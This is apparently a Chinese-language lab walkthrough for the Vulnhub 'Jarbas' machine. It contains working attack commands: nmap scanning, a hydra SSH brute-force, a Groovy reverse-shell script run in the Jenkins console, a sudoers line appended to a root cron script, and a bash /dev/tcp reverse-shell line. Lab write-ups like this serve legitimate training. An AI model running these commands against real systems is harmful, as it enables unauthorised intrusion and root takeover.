Vulnhub Jarbas
Vulnhub Jarbas
0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24
全端口详细扫描
nmap -sT -sC -sV -O -p- 192.168.231.134 -oA /root/scan
发现有3个服务,22ssh,80http,3306mysql,8080http
接下来对http进行漏洞扫描
nmap --script=vuln -p80 192.168.231.134
似乎有csrf和sql注入漏洞
0x02:web渗透
扫目录
dirsearch -u http://192.168.231.134
dirsearch -u http://192.168.231.134:8080
扫到一个access.html,我们访问一下
tiago:italia99
trindade:marianna
eder:vipsu
我们试试ssh
行不通,还记得我们之前扫到了8080的http吗,他是一个登录框,用的是Jenkins,我们尝试登陆一下
最后一个登陆进去了
我们一个一个地看,看到了Build Executor Status
发现他有一台叫做master的linux机器,我们点进去看看
说的是允许我们执行一些Groovy脚本语法
用户名是jenkins,我们hydra爆破一下
hydra -l jenkins -P /usr/share/wordlists/rockyou.txt 192.168.231.134 -t 20 ssh -Vv
-l:用户名
-P:字典路径
-t:线程数
-Vv:输出详情信息
发现爆不出来,我们尝试另一种方法
我们尝试使用这个终端反弹一个shell,直接google搜就行了https://blog.csdn.net/weixin_54227009/article/details/130805973,用这个cli插件反弹
String host="192.168.231.131";
int port=6666;
String cmd="/bin/bash";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
0x03:权限提升
首先创建一个好看点的bash
python -c 'import pty ;pty.spawn("/bin/bash");'
先看常规sudo提权
sudo -l
看看suid
find / -type f -perm -04000 -ls 2>/dev/null
-ls:以列表形式显示找到的文件的详细信息,包括权限、大小、修改时间等。
基本上没有啥可以利用的
再看看作业表
cat /etc/crontab
拿到可以利用的文件了,这里有一个作业表,我们尝试利用它提升权限
echo "echo 'jenkins ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" >> /etc/script/CleaningScript.sh
sudo /bin/bash
这个需要稍等以下,等他CronJob执行后才能运行
拿到root权限,我们find查找flag
find / -type f -name "flag.txt" 2>/dev/null
0x04:思考补足
看了师傅的wp后发现可以做出以下改动
1.刚开始端口扫描没有扫到8080端口,导致思路受限,以后一定要多扫几遍
2.web渗透呢,有些师傅用的是MSF,我这里也试了一下
用第一个
把options配好,然后运行
但是呢报错了
按照他的提示改好就行了
还有就是在jenkins创建新文件(写马),或者是修改文件
3.提权的话,可以在配置文件中修改来反弹shell提权
bash-4.2$ echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.231.131/8888 0>&1'" > /etc/script/CleaningScript.sh